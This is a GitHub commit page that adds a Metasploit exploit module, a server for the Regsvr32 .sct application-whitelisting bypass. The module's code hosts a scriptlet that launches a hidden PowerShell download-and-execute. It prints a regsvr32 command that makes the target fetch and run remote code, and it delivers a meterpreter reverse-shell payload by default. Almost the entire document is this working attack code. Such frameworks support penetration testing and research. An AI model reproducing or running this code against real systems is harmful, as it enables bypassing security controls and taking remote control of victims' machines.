Skip to content

Commit bca88d8

Browse files
committed
Landing rapid7#6961 Regsvr32 SCT App Whitelist Bypass Server
by @kn0 rts
2 parents 24eba6b + 3a39d80 commit bca88d8

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ManualRanking
8+
9+
include Msf::Exploit::Powershell
10+
include Msf::Exploit::Remote::HttpServer
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
15+
'Description' => %q(
16+
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
17+
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
18+
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
19+
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
20+
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
21+
),
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
26+
'Trenton Ivey', # MSF Module (kn0)
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'Payload' => 'windows/meterpreter/reverse_tcp'
31+
},
32+
'Targets' => [['PSH', {}]],
33+
'Platform' => %w(win),
34+
'Arch' => [ARCH_X86, ARCH_X86_64],
35+
'DefaultTarget' => 0,
36+
'DisclosureDate' => 'Apr 19 2016',
37+
'References' =>
38+
[
39+
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
40+
]
41+
))
42+
end
43+
44+
45+
def primer
46+
print_status('Run the following command on the target machine:')
47+
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
48+
end
49+
50+
51+
def on_request_uri(cli, _request)
52+
# If the resource request ends with '.sct', serve the .sct file
53+
# Otherwise, serve the PowerShell payload
54+
if _request.raw_uri =~ /\.sct$/
55+
serve_sct_file
56+
else
57+
serve_psh_payload
58+
end
59+
end
60+
61+
62+
def serve_sct_file
63+
print_status("Handling request for the .sct file from #{cli.peerhost}")
64+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
65+
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
66+
download_and_run = "#{ignore_cert}#{download_string}"
67+
psh_command = generate_psh_command_line(
68+
noprofile: true,
69+
windowstyle: 'hidden',
70+
command: download_and_run
71+
)
72+
data = gen_sct_file(psh_command)
73+
send_response(cli, data, 'Content-Type' => 'text/plain')
74+
end
75+
76+
77+
def serve_psh_payload
78+
print_status("Delivering payload to #{cli.peerhost}")
79+
data = cmd_psh_payload(payload.encoded,
80+
payload_instance.arch.first,
81+
remove_comspec: true,
82+
use_single_quotes: true
83+
)
84+
send_response(cli,data,'Content-Type' => 'application/octet-stream')
85+
end
86+
87+
88+
def rand_class_id
89+
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
90+
end
91+
92+
def gen_sct_file(command)
93+
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
94+
end
95+
96+
end

0 commit comments

Comments
 (0)